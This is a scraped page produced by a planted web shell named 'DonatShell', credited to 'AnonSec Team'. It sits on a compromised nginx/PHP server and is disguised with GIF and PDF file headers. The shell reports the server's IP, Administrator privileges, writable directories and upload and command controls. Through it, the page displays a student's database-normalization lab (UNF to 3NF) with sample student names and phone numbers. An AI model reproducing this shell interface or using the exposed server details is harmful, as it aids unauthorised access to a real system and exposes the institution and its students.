GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/uploads/20255/CST1600/41/15670648/Lab07/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/uploads/20255/CST1600/41/15670648/Lab07/CST1600_DrewAnderson_Lab07.txt
UNF:
student(Name, HomeMobilePhoneNumbers, StudentID, MajorCode1, MajorCode2, MajorCode3)

1NF:
To make the table follow 1NF, I need to remove multiple values in one field. Right now, the "HomeMobilePhoneNumbers" field has two numbers in one column, so I split them into "HomePhone" and "MobilePhone." Also, "MajorCode1," "MajorCode2," and "MajorCode3" should be in a separate table because students can have multiple majors.

Tables after 1NF:
- Student(*StudentID, Name, HomePhone, MobilePhone)
- StudentMajor(*StudentID@, *MajorCode@)

2NF:
For Second Normal Form (2NF), I need to make sure all columns depend on the whole primary key. The "StudentMajor" table has a composite key with "StudentID" and "MajorCode." Since every column depends fully on the key, this table is already good. The "Student" table also stays the same.

Tables after 2NF:
- Student(*StudentID, Name, HomePhone, MobilePhone)
- StudentMajor(*StudentID@, *MajorCode@)
- Major(*MajorCode, MajorName)

3NF:
For Third Normal Form (3NF), I need to remove indirect dependencies. Since the "Major" table stores info about majors separately, everything now depends only on primary keys. This means the tables are properly normalized.

Tables after 3NF:
- Student(*StudentID, Name, HomePhone, MobilePhone)
- StudentMajor(*StudentID@, *MajorCode@)
- Major(*MajorCode, MajorName)

Three data rows:
Student Table:
34673656 | Avram Hinton | 103-391-7811 | 676-683-6301
83681840 | Hayes Gibson | 447-149-5334 | NULL
94086534 | Kristen Acosta | NULL | 972-658-1570

StudentMajor Table:
34673656 | NSA
34673656 | CSS
34673656 | CST
83681840 | CST
94086534 | CP
94086534 | MAD

Major Table:
NSA | Network Security Administration
CSS | Computer Science Security
CST | Computer Science Technology
CP | Computer Programming
MAD | Mobile Application Development

Anon7 - 2022
AnonSec Team